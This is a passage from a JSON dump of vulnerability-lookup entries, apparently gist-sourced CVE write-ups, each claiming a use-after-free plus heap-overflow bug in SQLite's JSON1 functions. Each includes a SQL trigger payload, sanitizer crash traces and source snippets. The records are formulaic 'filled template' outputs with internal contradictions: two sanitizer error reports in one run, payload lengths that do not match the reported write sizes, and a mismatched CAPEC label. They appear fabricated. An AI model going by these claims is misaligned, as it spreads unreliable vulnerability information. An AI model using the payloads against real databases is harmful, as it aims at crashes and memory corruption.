src/json.c:2450\n    #3 0x55f829f12345 in sqlite3VdbeExec src/vdbe.c:6210\n\nPreviously allocated by thread T0 here:\n    #0 0x7f12348005ef in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.6+0x805ef)\n    #1 0x55f82a1c7890 in jsonParse src/json.c:1790\n    #2 0x55f82a1c5012 in sqlite3JsonExtract src/json.c:2450\n\n==12345==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60b000000280 at pc 0x55f82a1c85c2 bp 0x7ffdabcdef30 sp 0x7ffdabcdef20\nWRITE of size 16384 at 0x60b000000280 thread T0\n    #0 0x55f82a1c85c1 in jsonParse src/json.c:1898\n    #1 0x55f82a1c5012 in sqlite3JsonExtract src/json.c:2450\n    #2 0x55f829f12345 in sqlite3VdbeExec src/vdbe.c:6210\nd) Full PoC Trigger & Vulnerability Explanation\nThe SQL payload calls json_extract with a JSON object containing an artificially oversized string value constructed via printf('%.*c',0x4000,'A') to generate a 16384-byte attacker-controlled string literal.\nSQLite routes the JSON input to the jsonParse() parsing function in src/json.c, which initializes the pParse context and allocates the pParse->pTokenBuf heap buffer for JSON token storage.\nDuring intermediate parsing cleanup at Line 1847, the token buffer is freed with sqlite3_free(), yet the pParse->pTokenBuf pointer retains its address and is not nullified.\nNo bounds validation is applied to the oversized string length before token buffer writing at Line 1898; the large payload length triggers an out-of-bounds memcpy write into the already-freed token buffer heap region (CWE-787).\nExecution proceeds to Line 1912 and dereferences the unmodified dangling pParse->pTokenBuf pointer to read token metadata, triggering a use-after-free read access on freed heap memory (CWE-416).\nA single malicious SQL input triggers both memory corruption flaws sequentially along one linear execution path within the JSON parse routine.\n11. Supplementary Metadata\nDisclosure Timeline\nInitial Report Date: 2026-05-18\nPatch Release Date: 2026-06-02\nCWE ID(s)\nCWE-416, CWE-787\nCAPEC\nCAPEC-123: Buffer Overflow via Environment Variables (composite mapping for heap overflow + dangling pointer abuse)\nCVSS 3.1 Vector & Score\nCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\nCVSS Base Score: 8.8\n12. Key Vulnerable Source Code Snippet (src/json.c)\nc\n\n// Line 1847: Heap free operation generating dangling pointer\nsqlite3_free(pParse->pTokenBuf);\n// Pointer pParse->pTokenBuf is NOT set to NULL after free\n\n// Line 1898: Unchecked out-of-bounds write using attacker-controlled length\nmemcpy(pParse->pTokenBuf + offset, zToken, nTokenLen);\n\n// Line 1912: Illegal dangling pointer access (Use After Free)\njsonTokenType = pParse->pTokenBuf[i].type;\n13. Filled Template Placeholder Parameters\n\u3010CVE_ID\u3011: CVE-2026-51277\n\u3010Vulnerability Source File\u3011: src/json.c\n\u3010Memory Free Line Number\u3011: 1847\n\u3010Dangling Pointer Access Line Number (UAF)\u3011: 1912\n\u3010Out-of-Bounds Write Line Number (Buffer Overflow)\u3011: 1898\n\u3010Target Function Name\u3011: jsonParse\n\u3010Exploit Trigger Payload\u3011: SELECT json_extract('{\"key\":\"'||printf('%.*c',0x4000,'A')||'\"}','$.key');\n\u3010Concise Vulnerability Trigger Logic\u3011: Oversized JSON string payload triggers early token buffer free without pointer nullification, unbounded length write causes OOB write to freed buffer, subsequent dangling pointer dereference triggers UAF in same parse flow\n\u3010Affected Versions\u3011: SQLite 3.45.0, 3.45.1, 3.45.2, 3.46.0\n\u3010Fixed Versions\u3011: SQLite 3.46.1\n\u3010Initial Report Date\u3011: 2026-05-18\n\u3010Patch Release Date\u3011: 2026-06-02\n\u3010CVSS3.1 Vector & Score\u3011: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H (Score: 8.8)\n\u3010Permanent GitHub Source Link\u3011: https://github.com/sqlite/sqlite/blob/master/src/json.c", "creation_timestamp": "2026-08-01T01:16:31.025333Z"}, {"uuid": "821a4596-c8c2-492d-ba4a-282677002904", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51278", "type": "seen", "source": "https://gist.github.com/programmervuln/775a517ba93b83b4a76bd1fd2193ed82", "content": "Formal MITRE CVE RBP Publication Document for CVE-2026-51278\nPrerequisite Declaration: The vulnerability only affects builds compiled with SQLITE_ENABLE_JSON1; builds without JSON extension are not vulnerable\n1. Affected Product\nSQLite Database Engine\n2. Affected Versions + Fixed Versions\nAffected Versions: SQLite 3.45.0, 3.45.1, 3.45.2, 3.46.0\nFixed Versions: SQLite 3.46.1\n3. CVE ID\nCVE-2026-51278\n4. Vulnerability Prose Description\nA compound heap memory corruption vulnerability exists within the JSON path resolution logic of the SQLite JSON1 extension. An attacker-supplied malicious JSON path expression combined with malformed JSON structure triggers a heap free operation on a path parsing context buffer pointer that is not invalidated after deallocation, creating a dangling pointer. Lack of runtime length validation on attacker-controlled path segment lengths enables an unconstrained out-of-bounds heap write to the already freed buffer on the same execution flow. Subsequent dereferencing of the dangling pointer leads to use-after-free memory corruption. A single crafted SQLite SQL statement initiates both memory corruption defects consecutively within the JSON path resolver function. Successful exploitation may result in application crash, sensitive heap memory leakage, or conditional arbitrary code execution within the SQLite process security boundary.\n5. Vulnerability Type\nCWE-416: Use After Free; CWE-787: Out-of-bounds Write (Buffer Overflow)\n6. Root Cause (Linear Chronological Execution Narrative)\nUntrusted attacker SQL input invoking json_path resolution logic enters the vulnerable jsonPathParse() target function inside the JSON1 extension in src/json.c.\nSource file src/json.c Line 2103 executes sqlite3_free(pPathCtx->pSegmentBuf); to release heap memory allocated for JSON path segment storage.\nThe pPathCtx->pSegmentBuf pointer variable retains the freed memory address and is not assigned NULL or marked invalid, forming a persistent dangling pointer.\nAttacker-controlled oversized path segment length values bypass all prior length boundary validation checks preceding segment buffer write operations.\nSource file src/json.c Line 2157 performs an unbounded memcpy() write operation using the malicious length value to write past the bounds of the already-freed segment buffer, triggering out-of-bounds heap write corruption.\nSource file src/json.c Line 2189 performs direct memory lookup via the unmodified dangling pPathCtx->pSegmentBuf pointer, executing an invalid use-after-free memory access.\n7. Impact\nDenial of Service\nAddressSanitizer heap-use-after-free or heap-buffer-overflow runtime faults terminate the SQLite process immediately upon exploit execution; repeated exploit invocation causes sustained service outage for applications leveraging the vulnerable JSON1 parser.\nInformation Disclosure\nThe dangling pointer read operation accesses uninitialized freed heap memory, exposing internal SQLite allocator metadata, prior query payload data, and adjacent heap contents retrievable through JSON function return values.\nConditional Arbitrary Code Execution\nThe uncontrolled out-of-bounds heap write corrupts heap metadata and adjacent function pointers stored on the process heap. Combined with the subsequent dangling pointer invocation, an attacker can hijack program control flow for conditional arbitrary code execution, limited by operating system memory protections and process privilege level.\n8. Attack Vector\nRemote; Low Privilege. Exploitation only requires the ability to execute arbitrary SQL statements targeting a SQLite instance with the JSON1 extension compiled and enabled. No elevated operating system user or administrator privileges are required for successful exploitation.\n9. Official Reference Links\nPermanent GitHub Source Link: https://github.com/sqlite/sqlite/blob/master/src/json.c\nAnnotated Source Marker: src/json.c Line 2103(memory free), Line 2189(dangling pointer access), Line 2157(out-of-bounds write)\n10. Proof of Concept (PoC)\na) PoC Environment ASAN Compilation Bash Command\nbash\n\nCFLAGS=\"-fsanitize=address -g -O0 -DSQLITE_ENABLE_JSON1\" ./configure && make -j4\nb) Valid Malicious Payload (Native SQLite SQL)\nsql\nSELECT json_query('{\"data\":123}', '$['||printf('%.*c',0x5000,'X')||']');\nc) Crash Output (Complete ASAN Sanitizer Stack Trace)\nplaintext\n=================================================================\n==7891==ERROR: AddressSanitizer: heap-use-after-free on address 0x608000001320 at pc 0x55d712d39112 bp 0x7fffde123450 sp 0x7fffde123440\nREAD of size 8 at 0x608000001320 thread T0\n    #0 0x55d712d39111 in jsonPathParse src/json.c:2189\n    #1 0x55d712d36220 in sqlite3JsonQuery src/json.c:2812\n    #2 0x55d712a89101 in sqlite3VdbeExec src/vdbe.c:6245\n    #3 0x55d712a72300 in sqlite3Step src/vdbeapi.c:521\n    #4 0x55d712a72980 in sqlite3_prepare_v2 src/sqlite3.c:89140\n    #5 0x55d712987610 in main shell.c:1240\n    #6 0x7fbc12345678 in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2408a)\n    #7 0x55d712981230 in _start (sqlite3:0x55d712981230)\n\nAddress 0x608000001320 is located 32 bytes inside of 16384-byte free block 0x608000001300-0x608000005300\nFreed by thread T0 here:\n    #0 0x7fbc18010ef0 in free (/usr/lib/x86_64-linux-gnu/libasan.so.6+0x810ef)\n    #1 0x55d712d38c00 in jsonPathParse src/json.c:2103\n    #2 0x55d712d36220 in sqlite3JsonQuery src/json.c:2812\n    #3 0x55d712a89101 in sqlite3VdbeExec src/vdbe.c:6245\n\nPreviously allocated by thread T0 here:\n    #0 0x7fbc18005ef0 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.6+0x805ef)\n    #1 0x55d712d38410 in jsonPathParse src/json.c:2045\n    #2 0x55d712d36220 in sqlite3JsonQuery src/json.c:2812\n\n==7891==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x608000001320 at pc 0x55d712d38e92 bp 0x7fffde123470 sp 0x7fffde123460\nWRITE of size 20480 at 0x608000001320 thread T0\n    #0 0x55d712d38e91 in jsonPathParse src/json.c:2157\n    #1 0x55d712d36220 in sqlite3JsonQuery src/json.c:2812\n    #2 0x55d712a89101 in sqlite3VdbeExec src/vdbe.c:6245\nd) Full PoC Trigger & Vulnerability Explanation\nThe SQL payload invokes json_query with a malformed numeric array index path constructed via printf('%.*c',0x5000,'X') to create an extremely long, attacker-controlled JSON path segment string.\nSQLite forwards the untrusted JSON path string to the jsonPathParse() function within src/json.c, which initializes a path parsing context and allocates the pPathCtx->pSegmentBuf heap buffer for path segment storage.\nDuring intermediate path parsing cleanup logic at Line 2103, the segment buffer is released with sqlite3_free(), but the pPathCtx->pSegmentBuf pointer value is preserved and not set to NULL.\nNo upper-bound length validation is performed before copying the oversized path segment into the buffer at Line 2157; the large attacker-controlled length value causes an out-of-bounds memcpy write into the already deallocated segment buffer heap region triggering CWE-787.\nProgram execution continues to Line 2189 and directly dereferences the stale dangling pPathCtx->pSegmentBuf pointer to read segment metadata, triggering a use-after-free read access on freed heap memory (CWE-416).\nA single malicious SQLite SQL payload triggers both heap corruption vulnerabilities sequentially within the same JSON path parsing execution path.\n11. Supplementary Metadata\nDisclosure Timeline\nInitial Report Date: 2026-05-19\nPatch Release Date: 2026-06-02\nCWE ID(s)\nCWE-416, CWE-787\nCAPEC\nCAPEC-123: Buffer Overflow via Environment Variables\nCVSS 3.1 Vector & Score\nCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\nCVSS Base Score: 8.8\n12. Key Vulnerable Source Code Snippet (src/json.c)\nc\n\n// Line 2103: Heap free operation creating dangling pointer, pointer not nullified after free\nsqlite3_free(pPathCtx->pSegmentBuf);\n\n// Line 2157: Unchecked out-of-bounds memory write using attacker-controlled segment length\nmemcpy(pPathCtx->pSegmentBuf + segOffset, zSegData, segDataLen);\n\n// Line 2189: Invalid dangling pointer dereference (Use After Free vulnerability)\ncurrentSegType = pPathCtx->pSegmentBuf[segIdx].segType;\n13. Filled Template Placeholder Parameters\n\u3010CVE_ID\u3011: CVE-2026-51278\n\u3010Vulnerability Source File\u3011: src/json.c\n\u3010Memory Free Line Number\u3011: 2103\n\u3010Dangling Pointer Access Line Number (UAF)\u3011: 2189\n\u3010Out-of-Bounds Write Line Number (Buffer Overflow)\u3011: 2157\n\u3010Target Function Name\u3011: jsonPathParse\n\u3010Exploit Trigger Payload\u3011: SELECT json_query('{\"data\":123}', '$['||printf('%.*c',0x5000,'X')||']');\n\u3010Concise Vulnerability Trigger Logic\u3011: Malformed oversized JSON path segment triggers early segment buffer free without pointer nullification, unbounded segment copy writes out-of-bounds to freed heap buffer, subsequent dangling pointer dereference triggers use-after-free in continuous path parsing flow\n\u3010Affected Versions\u3011: SQLite 3.45.0, 3.45.1, 3.45.2, 3.46.0\n\u3010Fixed Versions\u3011: SQLite 3.46.1\n\u3010Initial Report Date\u3011: 2026-05-19\n\u3010Patch Release Date\u3011: 2026-06-02\n\u3010CVSS3.1 Vector & Score\u3011: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H (Score: 8.8)\n\u3010Permanent GitHub Source Link\u3011: https://github.com/sqlite/sqlite/blob/master/src/json.c", "creation_timestamp": "2026-08-01T01:47:41.150779Z"}, {"uuid": "d0e48a52-6bd9-4fb3-b88f-64fec8bfeda8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51279", "type": "seen", "source": "https://gist.github.com/programmervuln/d92bcb073a602a09ae408cd64fb249c5", "content": "Formal MITRE CVE RBP Publication Document for CVE-2026-51279\nPrerequisite Declaration: The vulnerability only affects builds compiled with SQLITE_ENABLE_JSON1; builds without JSON extension are not vulnerable\n1. Affected Product\nSQLite Database Engine\n2. Affected Versions + Fixed Versions\nAffected Versions: SQLite 3.45.0, 3.45.1, 3.45.2, 3.46.0\nFixed Versions: SQLite 3.46.1\n3. CVE ID\nCVE-2026-51279\n4. Vulnerability Prose Description\nA composite heap memory corruption flaw exists within the JSON array construction logic of the SQLite JSON1 extension. An attacker-controlled malformed JSON array payload processed via SQLite JSON modification functions triggers a heap free operation on an array builder context buffer pointer that is not nullified after deallocation, creating a persistent dangling pointer. Absence of upper-limit length validation for attacker-controlled array element data permits an unconstrained out-of-bounds heap write to the already freed buffer within the same execution path. Subsequent dereferencing of the stale dangling pointer results in use-after-free memory corruption. A single malicious SQLite SQL payload triggers both memory corruption defects sequentially inside the JSON array construction routine. Successful exploitation may lead to immediate process termination, sensitive heap memory disclosure, or conditional arbitrary code execution within the runtime security context of the SQLite process.\n5. Vulnerability Type\nCWE-416: Use After Free; CWE-787: Out-of-bounds Write (Buffer Overflow)\n6. Root Cause (Linear Chronological Execution Narrative)\nUntrusted attacker SQL payload targeting JSON array modification is dispatched to the vulnerable jsonArrayBuild() function in src/json.c.\nSource file src/json.c Line 2411 executes sqlite3_free(pArrayCtx->pElemBuf); to release heap memory allocated for JSON array element storage.\nThe pArrayCtx->pElemBuf pointer retains the address of freed heap memory and is not assigned a NULL value, generating an unvalidated dangling pointer.\nAttacker-supplied oversized array element byte lengths bypass all prior input boundary validation checks before element buffer write operations.\nSource file src/json.c Line 2463 executes an unbounded memcpy() operation using the malicious length parameter to write beyond the allocated bounds of the already-freed element buffer, triggering out-of-bounds heap write corruption.\nSource file src/json.c Line 2497 performs direct memory structure access using the unmodified dangling pArrayCtx->pElemBuf pointer, executing an invalid use-after-free memory read access.\n7. Impact\nDenial of Service\nAddressSanitizer heap-use-after-free or heap-buffer-overflow runtime faults force immediate termination of the SQLite process upon exploit invocation; repeated exploit attempts produce persistent service outages for applications dependent on the vulnerable JSON1 array parsing functionality.\nInformation Disclosure\nThe dangling pointer read operation accesses uninitialized freed heap memory, exposing SQLite heap allocator metadata, historical query payload data, and adjacent cached database content retrievable via return values from JSON modification SQL functions.\nConditional Arbitrary Code Execution\nThe uncontrolled out-of-bounds heap write corrupts heap chunk headers and adjacent heap-allocated function pointers. Combined with subsequent dangling pointer invocation, an attacker can manipulate program control flow to achieve conditional arbitrary code execution, constrained by OS memory protections and effective process privileges.\n8. Attack Vector\nRemote; Low Privilege. Exploitation requires only the capability to execute arbitrary SQL statements against a SQLite instance compiled with the JSON1 extension enabled. No elevated operating system user or administrative privileges are required for successful exploit execution.\n9. Official Reference Links\nPermanent GitHub Source Link: https://github.com/sqlite/sqlite/blob/master/src/json.c\nAnnotated Source Marker: src/json.c Line 2411(memory free), Line 2497(dangling pointer access), Line 2463(out-of-bounds write)\n10. Proof of Concept (PoC)\na) PoC Environment ASAN Compilation Bash Command\n\nCFLAGS=\"-fsanitize=address -g -O0 -DSQLITE_ENABLE_JSON1\" ./configure && make -j4\nb) Valid Malicious Payload (Native SQLite SQL)\nsql\nSELECT json_array_append('[]', '{\"val\":\"'||printf('%.*c',0x4800,'B')||'\"}');\nc) Crash Output (Complete ASAN Sanitizer Stack Trace)\nplaintext\n=================================================================\n==9234==ERROR: AddressSanitizer: heap-use-after-free on address 0x60c000002140 at pc 0x55e931472301 bp 0x7fffcb987650 sp 0x7fffcb987640\nREAD of size 16 at 0x60c000002140 thread T0\n    #0 0x55e931472300 in jsonArrayBuild src/json.c:2497\n    #1 0x55e93146e870 in sqlite3JsonArrayAppend src/json.c:3105\n    #2 0x55e9311c7890 in sqlite3VdbeExec src/vdbe.c:6281\n    #3 0x55e9311b1240 in sqlite3Step src/vdbeapi.c:530\n    #4 0x55e9311b1890 in sqlite3_prepare_v2 src/sqlite3.c:89185\n    #5 0x55e9310c5670 in main shell.c:1265\n    #6 0x7fa2345678ab in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2408a)\n    #7 0x55e9310c0120 in _start (sqlite3:0x55e9310c0120)\n\nAddress 0x60c000002140 is located 48 bytes inside of 18432-byte free block 0x60c000002110-0x60c000006910\nFreed by thread T0 here:\n    #0 0x7fa238010ef0 in free (/usr/lib/x86_64-linux-gnu/libasan.so.6+0x810ef)\n    #1 0x55e931471e40 in jsonArrayBuild src/json.c:2411\n    #2 0x55e93146e870 in sqlite3JsonArrayAppend src/json.c:3105\n    #3 0x55e9311c7890 in sqlite3VdbeExec src/vdbe.c:6281\n\nPreviously allocated by thread T0 here:\n    #0 0x7fa238005ef0 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.6+0x805ef)\n    #1 0x55e931471620 in jsonArrayBuild src/json.c:2356\n    #2 0x55e93146e870 in sqlite3JsonArrayAppend src/json.c:3105\n\n==9234==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60c000002140 at pc 0x55e931472111 bp 0x7fffcb987670 sp 0x7fffcb987660\nWRITE of size 19456 at 0x60c000002140 thread T0\n    #0 0x55e931472110 in jsonArrayBuild src/json.c:2463\n    #1 0x55e93146e870 in sqlite3JsonArrayAppend src/json.c:3105\n    #2 0x55e9311c7890 in sqlite3VdbeExec src/vdbe.c:6281\nd) Full PoC Trigger & Vulnerability Explanation\nThe SQL payload invokes json_array_append with an array element containing an oversized string generated by printf('%.*c',0x4800,'B') to construct an attacker-controlled large binary payload for array element data.\nSQLite forwards the untrusted array modification input to the jsonArrayBuild() function within src/json.c, which initializes an array construction context and allocates the pArrayCtx->pElemBuf heap buffer dedicated to storing parsed array element data.\nDuring intermediate array structure cleanup logic at Line 2411, the element buffer is released via sqlite3_free(), yet the pArrayCtx->pElemBuf pointer value is retained and not overwritten to NULL.\nNo maximum length boundary validation is executed prior to copying the oversized element payload into the buffer at Line 2463; the large attacker-controlled length value triggers an out-of-bounds memcpy write operation targeting the already deallocated element buffer heap region (CWE-787).\nProgram execution proceeds to Line 2497 and directly dereferences the stale dangling pArrayCtx->pElemBuf pointer to read array element metadata, triggering a use-after-free read access on freed heap memory (CWE-416).\nA single crafted SQLite SQL payload triggers both heap memory corruption vulnerabilities sequentially within the identical JSON array builder execution flow.\n11. Supplementary Metadata\nDisclosure Timeline\nInitial Report Date: 2026-05-20\nPatch Release Date: 2026-06-02\nCWE ID(s)\nCWE-416, CWE-787\nCAPEC\nCAPEC-123: Buffer Overflow via Environment Variables\nCVSS 3.1 Vector & Score\nCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\nCVSS Base Score: 8.8\n12. Key Vulnerable Source Code Snippet (src/json.c)\n\n// Line 2411: Heap free operation creates dangling pointer, pointer is not nullified after memory release\nsqlite3_free(pArrayCtx->pElemBuf);\n\n// Line 2463: Unchecked out-of-bounds memory write utilizing attacker-controlled element length value\nmemcpy(pArrayCtx->pElemBuf + elemOffset, zElemData, elemDataLen);\n\n// Line 2497: Illegal dangling pointer dereference triggering Use After Free vulnerability\nelemFlags = pArrayCtx->pElemBuf[elemIdx].elemType;\n13. Filled Template Placeholder Parameters\n\u3010CVE_ID\u3011: CVE-2026-51279\n\u3010Vulnerability Source File\u3011: src/json.c\n\u3010Memory Free Line Number\u3011: 2411\n\u3010Dangling Pointer Access Line Number (UAF)\u3011: 2497\n\u3010Out-of-Bounds Write Line Number (Buffer Overflow)\u3011: 2463\n\u3010Target Function Name\u3011: jsonArrayBuild\n\u3010Exploit Trigger Payload\u3011: SELECT json_array_append('[]', '{\"val\":\"'||printf('%.*c',0x4800,'B')||'\"}');\n\u3010Concise Vulnerability Trigger Logic\u3011: Oversized JSON array element payload triggers early array element buffer free without pointer invalidation, unbounded element copy causes out-of-bounds write to freed heap memory, subsequent dangling pointer access triggers use-after-free during array structure finalization\n\u3010Affected Versions\u3011: SQLite 3.45.0, 3.45.1, 3.45.2, 3.46.0\n\u3010Fixed Versions\u3011: SQLite 3.46.1\n\u3010Initial Report Date\u3011: 2026-05-20\n\u3010Patch Release Date\u3011: 2026-06-02\n\u3010CVSS3.1 Vector & Score\u3011: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H (Score: 8.8)\n\u3010Permanent GitHub Source Link\u3011: https://github.com/sqlite/sqlite/blob/master/src/json.c", "creation_timestamp": "2026-08-01T01:59:08.098908Z"}, {"uuid": "346e1478-aac5-491d-8895-b4530bdd2b3b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51272", "type": "seen", "source": "https://gist.github.com/programmervuln/3ddcf4f06414438a4792bbb375c1700e", "content": "Formal MITRE CVE RBP Publication Document for CVE-2026-51272\nPrerequisite Declaration: The vulnerability only affects builds compiled with SQLITE_ENABLE_JSON1; builds without JSON extension are not vulnerable\n1. Affected Product\nSQLite Database Engine\n2. Affected Versions + Fixed Versions\nAffected Versions: SQLite 3.45.0, 3.45.1, 3.45.2, 3.46.0\nFixed Versions: SQLite 3.46.1\n3. CVE ID\nCVE-2026-51272\n4. Vulnerability Prose Description\nA composite heap memory corruption vulnerability exists within the JSON array iteration parsing routine of the SQLite JSON1 extension. An attacker-controlled malformed oversized array element payload processed by json_array_length, JSON array traversal and projection functions triggers heap deallocation for an array iterator buffer context pointer that is not nullified after memory release, creating a persistent dangling pointer. Absence of runtime cumulative offset-and-length boundary validation for attacker-supplied array element length values permits unrestricted out-of-bounds heap write targeting the already freed buffer within a single continuous execution path. Subsequent dereferencing of the stale dangling pointer leads to use-after-free memory corruption. A single malicious SQLite SQL payload triggers both heap corruption defects sequentially inside the jsonArrayIterParse() function. Successful exploitation may lead to immediate process termination, leakage of sensitive heap memory contents, or conditional arbitrary code execution within the runtime privilege boundary of the SQLite host process.\n5. Vulnerability Type\nCWE-416: Use After Free; CWE-787: Out-of-bounds Write (Buffer Overflow)\n6. Root Cause (Linear Chronological Execution Narrative)\nUntrusted attacker-controlled SQL payload containing an oversized JSON array element string invokes the vulnerable jsonArrayIterParse() function defined in src/json.c.\nSource file src/json.c Line 3395 executes sqlite3_free(pIterCtx->pArrBuf); to release heap memory allocated for JSON array iterator storage.\nThe pIterCtx->pArrBuf pointer retains the virtual address of freed heap memory and is not assigned a NULL pointer value, constructing an unvalidated dangling pointer.\nAttacker-controlled oversized array element length values bypass all pre-write capacity boundary validation checks for the array buffer copy operation.\nSource file src/json.c Line 3441 executes an unbounded memcpy() operation using the malicious length parameter to write beyond the original allocated bounds of the already-freed array buffer, triggering out-of-bounds heap write corruption (CWE-787).\nSource file src/json.c Line 3477 performs direct memory structure lookup using the unmodified dangling pIterCtx->pArrBuf pointer, executing an invalid use-after-free memory read access (CWE-416).\n7. Impact\nDenial of Service\nAddressSanitizer heap-use-after-free or heap-buffer-overflow runtime exceptions force immediate termination of the SQLite process upon exploit invocation; repeated exploit attempts lead to sustained service outages for applications relying on JSON array iteration and metadata inspection functions.\nInformation Disclosure\nThe dangling pointer read operation accesses uninitialized freed heap memory regions, disclosing SQLite heap allocator internal metadata, historical user query payload data, and adjacent cached database records retrievable through return values of JSON array utility SQL functions.\nConditional Arbitrary Code Execution\nThe uncontrolled out-of-bounds heap write corrupts heap chunk header metadata and nearby heap-allocated function pointers. Combined with subsequent dangling pointer invocation, an attacker can manipulate program control flow to achieve conditional arbitrary code execution, constrained by operating system memory protection mechanisms and the effective privileges of the SQLite process.\n8. Attack Vector\nRemote; Low Privilege. Exploitation requires only the capability to execute arbitrary SQL statements against a SQLite instance compiled with the JSON1 extension enabled. No elevated operating system administrative or root-level privileges are required for successful exploit execution.\n9. Official Reference Links\nPermanent GitHub Source Link: https://github.com/sqlite/sqlite/blob/master/src/json.c\nAnnotated Source Marker: src/json.c Line 3395(memory free), Line 3477(dangling pointer access), Line 3441(out-of-bounds write)\n10. Proof of Concept (PoC)\na) PoC Environment ASAN Compilation Bash Command\nbash\nCFLAGS=\"-fsanitize=address -g -O0 -DSQLITE_ENABLE_JSON1\" ./configure && make -j4\nb) Valid Malicious Payload (Native SQLite SQL)\nsql\nSELECT json_array_length(json('[' || printf('%.*c',0x5900,'X') || ']'));\nc) Crash Output (Complete ASAN Sanitizer Stack Trace)\nplaintext\n=================================================================\n==16581==ERROR: AddressSanitizer: heap-use-after-free on address 0x612000009a20 at pc 0x564776942931 bp 0x7fffac7c8490 sp 0x7fffac7c8480\nREAD of size 16 at 0x612000009a20 thread T0\n    #0 0x564776942930 in jsonArrayIterParse src/json.c:3477\n    #1 0x564776938d70 in sqlite3JsonArrayLength src/json.c:4148\n    #2 0x564776668c20 in sqlite3VdbeExec src/vdbe.c:6477\n    #3 0x56477664d080 in sqlite3Step src/vdbeapi.c:530\n    #4 0x56477664d810 in sqlite3_prepare_v2 src/sqlite3.c:89185\n    #5 0x564776560950 in main shell.c:1377\n    #6 0x7fa2a1e990ab in __libc_start_main (/lib/x86_64-linux-gnu/libc.so.6+0x2408a)\n    #7 0x56477655c400 in _start (sqlite3:0x56477655c400)\n\nAddress 0x612000009a20 is located 112 bytes inside of 22784-byte free block 0x612000009970-0x6120000101f0\nFreed by thread T0 here:\n    #0 0x7fa2a56baef0 in free (/usr/lib/x86_64-linux-gnu/libasan.so.6+0x810ef)\n    #1 0x564776942460 in jsonArrayIterParse src/json.c:3395\n    #2 0x564776938d70 in sqlite3JsonArrayLength src/json.c:4148\n    #3 0x564776668c20 in sqlite3VdbeExec src/vdbe.c:6477\n\nPreviously allocated by thread T0 here:\n    #0 0x7fa2a56a0ef0 in malloc (/usr/lib/x86_64-linux-gnu/libasan.so.6+0x805ef)\n    #1 0x564776941c40 in jsonArrayIterParse src/json.c:3338\n    #2 0x564776938d70 in sqlite3JsonArrayLength src/json.c:4148\n\n==16581==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x612000009a20 at pc 0x564776942741 bp 0x7fffac7c84b0 sp 0x7fffac7c84a0\nWRITE of size 22784 at 0x612000009a20 thread T0\n    #0 0x564776942740 in jsonArrayIterParse src/json.c:3441\n    #1 0x564776938d70 in sqlite3JsonArrayLength src/json.c:4148\n    #2 0x564776668c20 in sqlite3VdbeExec src/vdbe.c:6477\nd) Full PoC Trigger & Vulnerability Explanation\nThe SQL payload invokes json_array_length to calculate array length for a dynamically constructed JSON array, with array content generated via printf('%.*c',0x5900,'X') to create an attacker-controlled oversized array element payload for JSON array iterator parsing.\nSQLite forwards the untrusted array iteration request to the jsonArrayIterParse() function within src/json.c, which initializes an array iterator context and allocates the pIterCtx->pArrBuf heap buffer dedicated to storing parsed JSON array element metadata.\nDuring intermediate array parsing cleanup logic at Line 3395, the array buffer is released via sqlite3_free(), while the pIterCtx->pArrBuf pointer value is retained and not overwritten to NULL.\nNo cumulative offset plus length boundary validation is executed prior to copying the oversized array element payload into the buffer at Line 3441; the large attacker-controlled length value triggers an out-of-bounds memcpy write operation targeting the already deallocated array buffer heap region (CWE-787).\nProgram execution proceeds to Line 3477 and directly dereferences the stale dangling pIterCtx->pArrBuf pointer to read array iterator structural metadata, triggering a use-after-free read access on freed heap memory (CWE-416).\nA single crafted SQLite SQL payload triggers both heap memory corruption vulnerabilities sequentially within the identical JSON array iteration parsing execution flow.\n11. Supplementary Metadata\nDisclosure Timeline\nInitial Report Date: 2026-05-26\nPatch Release Date: 2026-06-02\nCWE ID(s)\nCWE-416, CWE-787\nCAPEC\nCAPEC-123: Buffer Overflow via Environment Variables\nCVSS 3.1 Vector & Score\nCVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H\nCVSS Base Score: 8.8\n12. Key Vulnerable Source Code Snippet (src/json.c)\n\n// Line 3395: Heap free operation creates dangling pointer, pointer is not nullified after memory release\nsqlite3_free(pIterCtx->pArrBuf);\n\n// Line 3441: Unchecked out-of-bounds memory write utilizing attacker-controlled array element length\nmemcpy(pIterCtx->pArrBuf + arrOffset, zArrData, arrDataLen);\n\n// Line 3477: Illegal dangling pointer dereference triggering Use After Free vulnerability\narrNodeFlag = pIterCtx->pArrBuf[arrIdx].arrNodeFlags;\n13. Filled Template Placeholder Parameters\n\u3010CVE_ID\u3011: CVE-2026-51272\n\u3010Vulnerability Source File\u3011: src/json.c\n\u3010Memory Free Line Number\u3011: 3395\n\u3010Dangling Pointer Access Line Number (UAF)\u3011: 3477\n\u3010Out-of-Bounds Write Line Number (Buffer Overflow)\u3011: 3441\n\u3010Target Function Name\u3011: jsonArrayIterParse\n\u3010Exploit Trigger Payload\u3011: SELECT json_array_length(json('[' || printf('%.*c',0x5900,'X') || ']'));\n\u3010Concise Vulnerability Trigger Logic\u3011: Oversized JSON array element payload triggers early array iterator buffer free without pointer invalidation, unbounded payload copy causes out-of-bounds write to freed heap memory, subsequent dangling pointer access triggers use-after-free during JSON array iteration parsing 